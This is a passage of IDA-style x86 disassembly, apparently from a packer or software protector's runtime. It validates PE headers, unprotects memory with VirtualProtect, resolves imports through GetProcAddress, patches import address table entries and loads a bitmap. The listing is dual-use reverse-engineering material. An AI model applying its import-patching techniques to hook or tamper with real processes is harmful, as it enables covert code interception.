0FFFFFFFEh setnz cl mov byte ptr [ebp+var_1C], cl mov edx, [ebp+var_8] imul edx, 14h mov eax, [ebp+arg_0] cmp dword ptr [eax+edx+4], 0 jnz short loc_504B9F mov ecx, [ebp+var_1C] and ecx, 0FFh test ecx, ecx jz short loc_504BDD loc_504B9F: ; CODE XREF: sub_504AB0+E0j mov edx, [ebp+arg_10] and edx, 0FFh test edx, edx jz short loc_504BBD cmp [ebp+var_14], 0 jnz short loc_504BBB mov [ebp+var_4], 0 jmp loc_504AC3 ; --------------------------------------------------------------------------- loc_504BBB: ; CODE XREF: sub_504AB0+100j jmp short loc_504BDD ; --------------------------------------------------------------------------- loc_504BBD: ; CODE XREF: sub_504AB0+FAj mov eax, [ebp+var_24] push eax call sub_50AE83 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_504BDD mov ecx, [ebp+var_24] push ecx push offset aTheDynamicLink ; "The dynamic link library '%s' could not"... call sub_5084F7 loc_504BDD: ; CODE XREF: sub_504AB0+EDj ; sub_504AB0:loc_504BBBj ... mov edx, ds:off_510BE8 mov [ebp+var_18], edx mov eax, [ebp+arg_C] mov ds:off_510BE8, eax push 0 call ds:dword_511718 ; GetModuleHandleA cmp eax, [ebp+arg_4] jnz short loc_504C62 mov [ebp+var_34], offset aExecutable ; "EXECUTABLE" mov ecx, [ebp+arg_C] mov [ebp+var_38], ecx loc_504C08: ; CODE XREF: sub_504AB0+18Aj mov edx, [ebp+var_38] mov al, [edx] mov [ebp+var_39], al mov ecx, [ebp+var_34] cmp al, [ecx] jnz short loc_504C45 cmp [ebp+var_39], 0 jz short loc_504C3C mov edx, [ebp+var_38] mov al, [edx+1] mov [ebp+var_3A], al mov ecx, [ebp+var_34] cmp al, [ecx+1] jnz short loc_504C45 add [ebp+var_38], 2 add [ebp+var_34], 2 cmp [ebp+var_3A], 0 jnz short loc_504C08 loc_504C3C: ; CODE XREF: sub_504AB0+16Bj mov [ebp+var_40], 0 jmp short loc_504C4D ; --------------------------------------------------------------------------- loc_504C45: ; CODE XREF: sub_504AB0+165j ; sub_504AB0+17Cj sbb edx, edx sbb edx, 0FFFFFFFFh mov [ebp+var_40], edx loc_504C4D: ; CODE XREF: sub_504AB0+193j mov eax, [ebp+var_40] mov [ebp+var_44], eax cmp [ebp+var_44], 0 jz short loc_504C62 mov [ebp+var_48], 0 jmp short loc_504C69 ; --------------------------------------------------------------------------- loc_504C62: ; CODE XREF: sub_504AB0+149j ; sub_504AB0+1A7j mov [ebp+var_48], 1 loc_504C69: ; CODE XREF: sub_504AB0+1B0j mov cl, byte ptr [ebp+var_48] mov byte ptr [ebp+var_10], cl jmp short loc_504C83 ; --------------------------------------------------------------------------- loc_504C71: ; CODE XREF: sub_504AB0:loc_504D3Aj mov edx, [ebp+var_20] add edx, 4 mov [ebp+var_20], edx mov eax, [ebp+var_C] add eax, 4 mov [ebp+var_C], eax loc_504C83: ; CODE XREF: sub_504AB0+1BFj mov ecx, [ebp+var_20] cmp dword ptr [ecx], 0 jz loc_504D3F mov edx, [ebp+var_C] cmp dword ptr [edx], 0 jz loc_504D3F mov eax, [ebp+var_8] imul eax, 14h mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax+4], 0 jnz short loc_504CB8 mov edx, [ebp+var_1C] and edx, 0FFh test edx, edx jz short loc_504D16 loc_504CB8: ; CODE XREF: sub_504AB0+1F9j mov eax, [ebp+var_C] mov ecx, [eax] and ecx, 80000000h test ecx, ecx jnz short loc_504CEA mov edx, [ebp+var_C] mov eax, [ebp+arg_4] add eax, [edx] mov [ebp+var_28], eax mov ecx, [ebp+var_28] add ecx, 2 push ecx mov edx, [ebp+var_14] push edx call ds:dword_511728 ; GetProcAddress mov ecx, [ebp+var_20] mov [ecx], eax jmp short loc_504D16 ; --------------------------------------------------------------------------- loc_504CEA: ; CODE XREF: sub_504AB0+215j mov edx, [ebp+var_C] mov eax, [edx] and eax, 0FFFFh mov [ebp+var_30], eax mov ecx, [ebp+var_30] push ecx mov edx, [ebp+var_14] push edx call ds:dword_511728 ; GetProcAddress mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_504D16 mov eax, [ebp+var_20] mov ecx, [ebp+var_2C] mov [eax], ecx loc_504D16: ; CODE XREF: sub_504AB0+206j ; sub_504AB0+238j ... mov edx, [ebp+var_10] and edx, 0FFh test edx, edx jz short loc_504D3A mov eax, [ebp+var_24] push eax mov ecx, ds:off_510BE8 push ecx mov edx, [ebp+var_20] push edx call sub_5053D0 add esp, 0Ch loc_504D3A: ; CODE XREF: sub_504AB0+271j jmp loc_504C71 ; --------------------------------------------------------------------------- loc_504D3F: ; CODE XREF: sub_504AB0+1D9j ; sub_504AB0+1E5j mov eax, [ebp+var_18] mov ds:off_510BE8, eax mov ecx, [ebp+var_8] imul ecx, 14h mov edx, [ebp+arg_0] mov dword ptr [edx+ecx+4], 0FFFFFFFEh jmp loc_504AC3 ; --------------------------------------------------------------------------- loc_504D5D: ; CODE XREF: sub_504AB0+2Cj mov al, [ebp+var_4] mov esp, ebp pop ebp retn sub_504AB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_504D70 proc near ; CODE XREF: sub_505BD7+1B8p ; sub_50614D+45p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx mov eax, ds:dword_511914 add eax, 1 mov ds:dword_511914, eax mov ecx, [ebp+arg_14] push ecx mov dl, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_504AB0 add esp, 18h mov [ebp+var_4], al mov ecx, ds:dword_511914 sub ecx, 1 mov ds:dword_511914, ecx mov al, [ebp+var_4] mov esp, ebp pop ebp retn sub_504D70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_504DC0 proc near ; CODE XREF: _5:004FE2A6p var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 3Ch mov [ebp+var_18], 0 call sub_502DD0 call sub_509DD4 call sub_4FC3F3 mov eax, ds:dword_511684 mov ecx, [eax+4] mov [ebp+var_18], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_18] add eax, [edx+3Ch] mov ds:dword_511910, eax mov ecx, ds:dword_511910 cmp dword ptr [ecx], 4550h jz short loc_504E0D mov ecx, 0EF000002h call sub_508342 loc_504E0D: ; CODE XREF: sub_504DC0+41j mov edx, ds:dword_511698 sub edx, 3 mov [ebp+var_4], edx cmp ds:dword_511680, 1 jz short loc_504E37 lea eax, [ebp+var_8] push eax push 4 push 190h mov ecx, [ebp+var_18] push ecx call ds:dword_5117AC ; VirtualProtect loc_504E37: ; CODE XREF: sub_504DC0+60j mov [ebp+var_14], 0 jmp short loc_504E49 ; --------------------------------------------------------------------------- loc_504E40: ; CODE XREF: sub_504DC0+AFj ; sub_504DC0:loc_504F6Dj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_504E49: ; CODE XREF: sub_504DC0+7Ej mov eax, [ebp+var_14] cmp eax, [ebp+var_4] jnb loc_504F72 mov ecx, [ebp+var_14] imul ecx, 28h mov edx, ds:off_51169C add edx, ecx mov [ebp+var_20], edx mov eax, [ebp+var_20] cmp dword ptr [eax+0Ch], 0 jnz short loc_504E71 jmp short loc_504E40 ; --------------------------------------------------------------------------- loc_504E71: ; CODE XREF: sub_504DC0+ADj cmp [ebp+var_14], 20h jnb short loc_504E98 mov edx, 1 mov ecx, [ebp+var_14] shl edx, cl mov eax, ds:dword_511684 mov ecx, [eax+10h] and ecx, edx test ecx, ecx jz short loc_504E98 mov [ebp+var_34], 1 jmp short loc_504E9F ; --------------------------------------------------------------------------- loc_504E98: ; CODE XREF: sub_504DC0+B5j ; sub_504DC0+CDj mov [ebp+var_34], 0 loc_504E9F: ; CODE XREF: sub_504DC0+D6j mov edx, [ebp+var_34] mov [ebp+var_28], edx cmp [ebp+var_14], 20h jnb short loc_504ECD mov eax, 1 mov ecx, [ebp+var_14] shl eax, cl mov ecx, ds:dword_511684 mov edx, [ecx+14h] and edx, eax test edx, edx jz short loc_504ECD mov [ebp+var_38], 1 jmp short loc_504ED4 ; --------------------------------------------------------------------------- loc_504ECD: ; CODE XREF: sub_504DC0+E9j ; sub_504DC0+102j mov [ebp+var_38], 0 loc_504ED4: ; CODE XREF: sub_504DC0+10Bj mov eax, [ebp+var_38] mov [ebp+var_2C], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_20] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_28] push ecx call loc_5048C0 mov edx, [ebp+var_20] mov eax, [edx+24h] and eax, 20000000h test eax, eax jz short loc_504F19 mov ecx, [ebp+var_20] mov edx, [ecx+24h] and edx, 80000000h neg edx sbb edx, edx and edx, 20h add edx, 20h mov [ebp+var_3C], edx jmp short loc_504F32 ; --------------------------------------------------------------------------- loc_504F19: ; CODE XREF: sub_504DC0+13Cj mov eax, [ebp+var_20] mov ecx, [eax+24h] and ecx, 80000000h neg ecx sbb ecx, ecx and ecx, 2 add ecx, 2 mov [ebp+var_3C], ecx loc_504F32: ; CODE XREF: sub_504DC0+157j mov edx, [ebp+var_3C] mov [ebp+var_24], edx cmp ds:dword_511680, 1 jz short loc_504F6D mov eax, ds:dword_511910 xor ecx, ecx mov cx, [eax+14h] mov edx, ds:dword_511910 lea eax, [edx+ecx+18h] mov ecx, [ebp+var_14] imul ecx, 28h add eax, ecx mov [ebp+var_30], eax mov edx, [ebp+var_30] mov eax, [ebp+var_20] mov ecx, [eax+24h] mov [edx+24h], ecx loc_504F6D: ; CODE XREF: sub_504DC0+17Fj jmp loc_504E40 ; --------------------------------------------------------------------------- loc_504F72: ; CODE XREF: sub_504DC0+8Fj cmp ds:dword_511680, 1 jz short loc_504FA3 mov edx, ds:dword_511910 mov eax, ds:off_51169C mov ecx, [eax-0Ch] mov [edx+0ECh], ecx mov edx, ds:dword_511910 mov eax, ds:off_51169C mov ecx, [eax-8] mov [edx+0E8h], ecx loc_504FA3: ; CODE XREF: sub_504DC0+1B9j cmp ds:dword_511680, 1 jz short loc_504FC3 lea edx, [ebp+var_8] push edx mov eax, [ebp+var_8] push eax push 190h mov ecx, [ebp+var_18] push ecx call ds:dword_5117AC ; VirtualProtect loc_504FC3: ; CODE XREF: sub_504DC0+1EAj mov edx, ds:dword_511684 mov eax, [ebp+var_18] add eax, [edx+8] mov [ebp+var_C], eax mov ds:dword_511914, 0 push 0 push 0 push offset aExecutable ; "EXECUTABLE" mov ecx, ds:dword_511910 push ecx mov edx, [ebp+var_18] push edx mov eax, [ebp+var_C] push eax call sub_504AB0 add esp, 18h call sub_50613C and eax, 0FFh test eax, eax jz short loc_50501F loc_50500A: ; CODE XREF: sub_504DC0+258j call sub_50614D and eax, 0FFh test eax, eax jz short loc_50501A jmp short loc_50500A ; --------------------------------------------------------------------------- loc_50501A: ; CODE XREF: sub_504DC0+256j call sub_50613C loc_50501F: ; CODE XREF: sub_504DC0+248j push offset aImm32_dll ; "imm32.dll" call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_505041 push offset aImm32_dll ; "imm32.dll" mov ecx, [ebp+var_1C] push ecx call sub_505070 loc_505041: ; CODE XREF: sub_504DC0+271j push offset aOleoaut32_dll ; "oleoaut32.dll" call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_505063 push offset aOleaout32_dll ; "oleaout32.dll" mov edx, [ebp+var_10] push edx call sub_505070 loc_505063: ; CODE XREF: sub_504DC0+293j mov esp, ebp pop ebp retn sub_504DC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_505070 proc near ; CODE XREF: sub_504DC0+27Cp ; sub_504DC0+29Ep ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch mov eax, ds:dword_511914 add eax, 1 mov ds:dword_511914, eax mov ecx, [ebp+arg_4] mov ds:off_510BE8, ecx push 9 lea ecx, [ebp+var_28] call sub_50B77C lea edx, [ebp+var_28] push edx push 0 mov eax, [ebp+arg_0] push eax call sub_5050D0 add esp, 0Ch mov ecx, ds:dword_511914 sub ecx, 1 mov ds:dword_511914, ecx mov [ebp+var_2C], 1 lea ecx, [ebp+var_28] call sub_50B82A mov eax, [ebp+var_2C] mov esp, ebp pop ebp retn 8 sub_505070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5050D0 proc near ; CODE XREF: sub_505070+30p ; sub_5050D0+24Bp var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E460 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFB8h push ebx push esi push edi mov [ebp+var_18], esp cmp [ebp+arg_0], 0 jnz short loc_505101 jmp loc_5053BC ; --------------------------------------------------------------------------- loc_505101: ; CODE XREF: sub_5050D0+2Aj mov eax, [ebp+arg_0] mov [ebp+var_2C], eax mov ecx, [ebp+arg_4] mov [ebp+var_28], ecx mov edx, [ebp+arg_4] mov [ebp+var_30], edx jmp short loc_50511E ; --------------------------------------------------------------------------- loc_505115: ; CODE XREF: sub_5050D0:loc_505133j mov eax, [ebp+var_30] mov ecx, [eax+4] mov [ebp+var_30], ecx loc_50511E: ; CODE XREF: sub_5050D0+43j cmp [ebp+var_30], 0 jz short loc_505135 mov edx, [ebp+var_30] mov eax, [edx] cmp eax, [ebp+arg_0] jnz short loc_505133 jmp loc_5053BC ; --------------------------------------------------------------------------- loc_505133: ; CODE XREF: sub_5050D0+5Cj jmp short loc_505115 ; --------------------------------------------------------------------------- loc_505135: ; CODE XREF: sub_5050D0+52j mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+arg_8] call sub_50B871 test eax, eax jz short loc_50514A jmp loc_5053BC ; --------------------------------------------------------------------------- loc_50514A: ; CODE XREF: sub_5050D0+73j mov edx, ds:dword_511914 add edx, 1 mov ds:dword_511914, edx mov eax, [ebp+arg_0] mov [ebp+var_34], eax mov ecx, ds:off_510BE8 mov [ebp+var_24], ecx mov [ebp+var_4], 0 mov edx, [ebp+var_34] mov eax, [ebp+var_34] add eax, [edx+3Ch] mov [ebp+var_38], eax mov ecx, [ebp+var_38] cmp dword ptr [ecx], 4550h jnz loc_505371 cmp ds:dword_511680, 1 jnz short loc_5051AA cmp [ebp+arg_0], 80000000h jbe short loc_5051AA push 0 push 0 push 0 push 0 call ds:dword_511778 ; RaiseException loc_5051AA: ; CODE XREF: sub_5050D0+C1j ; sub_5050D0+CAj mov edx, [ebp+var_38] mov eax, [ebp+var_34] add eax, [edx+80h] mov [ebp+var_20], eax mov [ebp+var_4], 1 cmp ds:dword_511680, 1 jnz short loc_505247 mov [ebp+var_40], 0 jmp short loc_5051DB ; --------------------------------------------------------------------------- loc_5051D2: ; CODE XREF: sub_5050D0:loc_505245j mov ecx, [ebp+var_40] add ecx, 1 mov [ebp+var_40], ecx loc_5051DB: ; CODE XREF: sub_5050D0+100j mov edx, [ebp+var_38] xor eax, eax mov ax, [edx+6] cmp [ebp+var_40], eax jnb short loc_505247 mov ecx, [ebp+var_38] xor edx, edx mov dx, [ecx+14h] mov eax, [ebp+var_38] lea ecx, [eax+edx+18h] mov edx, [ebp+var_40] imul edx, 28h add ecx, edx mov [ebp+var_44], ecx mov eax, [ebp+var_44] mov ecx, [ebp+var_34] add ecx, [eax+0Ch] cmp ecx, [ebp+var_20] ja short loc_505245 mov edx, [ebp+var_44] mov eax, [ebp+var_34] add eax, [edx+0Ch] mov ecx, [ebp+var_44] add eax, [ecx+8] cmp [ebp+var_20], eax ja short loc_505245 mov edx, [ebp+var_44] mov eax, [edx+24h] and eax, 10000000h test eax, eax jz short loc_505243 push 0 push 0 push 0 push 0 call ds:dword_511778 ; RaiseException loc_505243: ; CODE XREF: sub_5050D0+163j jmp short loc_505247 ; --------------------------------------------------------------------------- loc_505245: ; CODE XREF: sub_5050D0+140j ; sub_5050D0+154j jmp short loc_5051D2 ; --------------------------------------------------------------------------- loc_505247: ; CODE XREF: sub_5050D0+F7j ; sub_5050D0+117j ... mov [ebp+var_4], 0 jmp short loc_50526E ; --------------------------------------------------------------------------- loc_505250: ; DATA XREF: _6:0050E470o mov ecx, [ebp+var_14] mov edx, [ecx] mov eax, [edx] mov [ebp+var_58], eax mov eax, [ebp+var_58] neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- loc_505264: ; DATA XREF: _6:0050E474o mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_50526E: ; CODE XREF: sub_5050D0+17Ej mov ecx, [ebp+var_38] mov eax, [ecx+84h] xor edx, edx mov ecx, 14h div ecx mov [ebp+var_1C], eax mov [ebp+var_3C], 0 jmp short loc_505295 ; --------------------------------------------------------------------------- loc_50528C: ; CODE XREF: sub_5050D0:loc_50536Cj mov edx, [ebp+var_3C] add edx, 1 mov [ebp+var_3C], edx loc_505295: ; CODE XREF: sub_5050D0+1BAj mov eax, [ebp+var_3C] cmp eax, [ebp+var_1C] jnb loc_505371 mov ecx, [ebp+var_3C] imul ecx, 14h mov edx, [ebp+var_20] mov eax, [ebp+var_34] add eax, [edx+ecx+0Ch] mov [ebp+var_50], eax mov ecx, [ebp+var_3C] imul ecx, 14h mov edx, [ebp+var_20] cmp dword ptr [edx+ecx+0Ch], 0 jz short loc_5052DD mov eax, [ebp+var_3C] imul eax, 14h mov ecx, [ebp+var_20] mov edx, [ecx+eax+0Ch] mov eax, [ebp+var_34] xor ecx, ecx mov cl, [eax+edx] test ecx, ecx jnz short loc_5052E2 loc_5052DD: ; CODE XREF: sub_5050D0+1F2j jmp loc_505371 ; --------------------------------------------------------------------------- loc_5052E2: ; CODE XREF: sub_5050D0+20Bj mov edx, [ebp+var_3C] imul edx, 14h mov eax, [ebp+var_20] mov ecx, [ebp+var_34] add ecx, [eax+edx+10h] mov [ebp+var_48], ecx mov edx, [ebp+var_50] push edx call sub_50AF8C mov [ebp+var_4C], eax mov eax, [ebp+var_50] mov ds:off_510BE8, eax cmp [ebp+var_4C], 0 jz short loc_505323 mov ecx, [ebp+arg_8] push ecx lea edx, [ebp+var_2C] push edx mov eax, [ebp+var_4C] push eax call sub_5050D0 add esp, 0Ch loc_505323: ; CODE XREF: sub_5050D0+23Dj push 0 call ds:dword_511718 ; GetModuleHandleA cmp eax, [ebp+arg_0] jz short loc_50536C mov ecx, [ebp+var_4C] push ecx mov ecx, ds:dword_5160D8 call sub_50B871 test eax, eax jz short loc_50536C jmp short loc_50534E ; --------------------------------------------------------------------------- loc_505345: ; CODE XREF: sub_5050D0+29Aj ; DATA XREF: _2:off_4545C0o ... mov edx, [ebp+var_48] add edx, 4 mov [ebp+var_48], edx loc_50534E: ; CODE XREF: sub_5050D0+273j mov eax, [ebp+var_48] cmp dword ptr [eax], 0 jz short loc_50536C mov ecx, [ebp+var_50] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_48] push eax call sub_5053D0 add esp, 0Ch jmp short loc_505345 ; --------------------------------------------------------------------------- loc_50536C: ; CODE XREF: sub_5050D0+25Ej ; sub_5050D0+271j ... jmp loc_50528C ; --------------------------------------------------------------------------- loc_505371: ; CODE XREF: sub_5050D0+B4j ; sub_5050D0+1CBj ... push 1 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+arg_8] call sub_50B98E mov [ebp+var_4], 0FFFFFFFFh jmp short loc_5053A5 ; --------------------------------------------------------------------------- mov edx, [ebp+var_14] mov eax, [edx] mov ecx, [eax] mov [ebp+var_54], ecx mov eax, [ebp+var_54] neg eax sbb eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 0FFFFFFFFh loc_5053A5: ; CODE XREF: sub_5050D0+2B6j mov eax, [ebp+var_24] mov ds:off_510BE8, eax mov ecx, ds:dword_511914 sub ecx, 1 mov ds:dword_511914, ecx loc_5053BC: ; CODE XREF: sub_5050D0+2Cj ; sub_5050D0+5Ej ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_5050D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5053D0 proc near ; CODE XREF: sub_504AB0+282p ; sub_5050D0+292p var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_4], 0 cmp ds:dword_5160D4, 0 jnz short loc_5053F0 mov ecx, 0EF00000Ah call sub_508342 loc_5053F0: ; CODE XREF: sub_5053D0+14j mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov ecx, ds:dword_5160D4 call sub_50B871 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_50544F lea edx, [ebp+var_10] push edx push 4 push 4 mov eax, [ebp+arg_0] push eax call ds:dword_5117AC ; VirtualProtect test eax, eax jnz short loc_50542A mov ecx, 0EF00000Bh call sub_508342 loc_50542A: ; CODE XREF: sub_5053D0+4Ej mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov eax, [edx] mov [ecx], eax lea ecx, [ebp+var_C] push ecx mov edx, [ebp+var_10] push edx push 4 mov eax, [ebp+arg_0] push eax loc_505442: ; DATA XREF: _2:off_44BEA0o call ds:dword_5117AC ; VirtualProtect mov [ebp+var_4], 1 loc_50544F: ; CODE XREF: sub_5053D0+38j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_5053D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_505456 proc near ; CODE XREF: sub_4FC3F3+23p ; sub_4FF036+A5p var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = dword ptr -26h var_1E = dword ptr -1Eh var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E478 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 6Ch push ebx push esi push edi and [ebp+var_30], 0 and [ebp+var_2C], 0 and [ebp+var_4], 0 and [ebp+var_3C], 0 lea eax, [ebp+var_34] push eax push 0 lea eax, [ebp+var_3C] push eax push 0Eh lea eax, [ebp+var_28] push eax push [ebp+arg_0] call sub_501177 test eax, eax jz short loc_5054B7 lea eax, [ebp+var_44] push eax push [ebp+arg_0] call sub_500672 test eax, eax jnz short loc_5054D0 loc_5054B7: ; CODE XREF: sub_505456+4Fj push 0FFFFFFFFh and [ebp+var_64], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_64] jmp loc_5056DC ; --------------------------------------------------------------------------- loc_5054D0: ; CODE XREF: sub_505456+5Fj movzx eax, [ebp+var_28] cmp eax, 4D42h jnz short loc_505534 mov eax, [ebp+var_26] cmp eax, [ebp+var_44] ja short loc_505534 mov eax, [ebp+var_26] sub eax, 0Eh push eax call sub_50835A pop ecx mov [ebp+var_5C], eax mov eax, [ebp+var_5C] mov [ebp+var_30], eax lea eax, [ebp+var_48] push eax push 0 lea eax, [ebp+var_3C] push eax mov eax, [ebp+var_26] sub eax, 0Eh push eax push [ebp+var_30] push [ebp+arg_0] call sub_501177 test eax, eax jnz short loc_505532 push 0FFFFFFFFh and [ebp+var_68], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_68] jmp loc_5056DC ; --------------------------------------------------------------------------- loc_505532: ; CODE XREF: sub_505456+C1j jmp short loc_50554D ; --------------------------------------------------------------------------- loc_505534: ; CODE XREF: sub_505456+83j ; sub_505456+8Bj push 0FFFFFFFFh and [ebp+var_6C], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_6C] jmp loc_5056DC ; --------------------------------------------------------------------------- loc_50554D: ; CODE XREF: sub_505456:loc_505532j mov eax, [ebp+var_30] mov eax, [eax] mov [ebp+var_38], eax mov eax, [ebp+var_30] cmp dword ptr [eax+10h], 0 jz short loc_505577 push 0FFFFFFFFh and [ebp+var_70], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_70] jmp loc_5056DC ; --------------------------------------------------------------------------- loc_505577: ; CODE XREF: sub_505456+106j push 0 call ds:dword_5117E0 ; CreateCompatibleDC mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_5055A1 push 0FFFFFFFFh and [ebp+var_74], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_74] jmp loc_5056DC ; --------------------------------------------------------------------------- loc_5055A1: ; CODE XREF: sub_505456+130j mov eax, [ebp+var_1E] mov ecx, [ebp+var_30] lea eax, [ecx+eax-0Eh] mov [ebp+var_40], eax and [ebp+var_4C], 0 and [ebp+var_54], 0 mov eax, [ebp+var_30] movzx eax, word ptr [eax+0Eh] mov [ebp+var_78], eax cmp [ebp+var_78], 8 jz short loc_5055F5 cmp [ebp+var_78], 10h jz short loc_5055EC cmp [ebp+var_78], 18h jz short loc_5055E3 cmp [ebp+var_78], 20h jz short loc_5055DA jmp short loc_5055FE ; --------------------------------------------------------------------------- loc_5055DA: ; CODE XREF: sub_505456+180j mov [ebp+var_4C], 4 jmp short loc_505617 ; --------------------------------------------------------------------------- loc_5055E3: ; CODE XREF: sub_505456+17Aj mov [ebp+var_4C], 3 jmp short loc_505617 ; --------------------------------------------------------------------------- loc_5055EC: ; CODE XREF: sub_505456+174j mov [ebp+var_4C], 2 jmp short loc_505617 ; --------------------------------------------------------------------------- loc_5055F5: ; CODE XREF: sub_505456+16Ej mov [ebp+var_4C], 1 jmp short loc_505617 ; --------------------------------------------------------------------------- loc_5055FE: ; CODE XREF: sub_505456+182j push 0FFFFFFFFh and [ebp+var_7C], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_7C] jmp loc_5056DC ; --------------------------------------------------------------------------- loc_505617: ; CODE XREF: sub_505456+18Bj ; sub_505456+194j ... push 0 push 0 lea eax, [ebp+var_58] push eax push 0 push [ebp+var_30] push [ebp+var_2C] call ds:dword_5117E4 ; CreateDIBSection mov [ebp+var_54], eax cmp [ebp+var_54], 0 jnz short loc_50564F push 0FFFFFFFFh and [ebp+var_80], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_80] jmp loc_5056DC ; --------------------------------------------------------------------------- loc_50564F: ; CODE XREF: sub_505456+1DEj mov eax, [ebp+var_30] mov eax, [eax+4] imul eax, [ebp+var_4C] mov [ebp+var_50], eax mov eax, [ebp+var_50] cdq push 4 pop ecx idiv ecx test edx, edx jz short loc_50567F mov eax, [ebp+var_50] cdq push 4 pop ecx idiv ecx push 4 pop eax sub eax, edx mov ecx, [ebp+var_50] add ecx, eax mov [ebp+var_50], ecx loc_50567F: ; CODE XREF: sub_505456+211j mov eax, [ebp+var_30] mov ecx, [ebp+var_50] imul ecx, [eax+8] mov esi, [ebp+var_40] mov edi, [ebp+var_58] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0FFFFFFFFh mov eax, [ebp+var_54] mov [ebp+var_84], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_84] jmp short loc_5056DC ; --------------------------------------------------------------------------- loc_5056BB: ; DATA XREF: _6:0050E480o cmp [ebp+var_2C], 0 jz short loc_5056CA push [ebp+var_2C] call ds:dword_5117E8 ; DeleteDC loc_5056CA: ; CODE XREF: 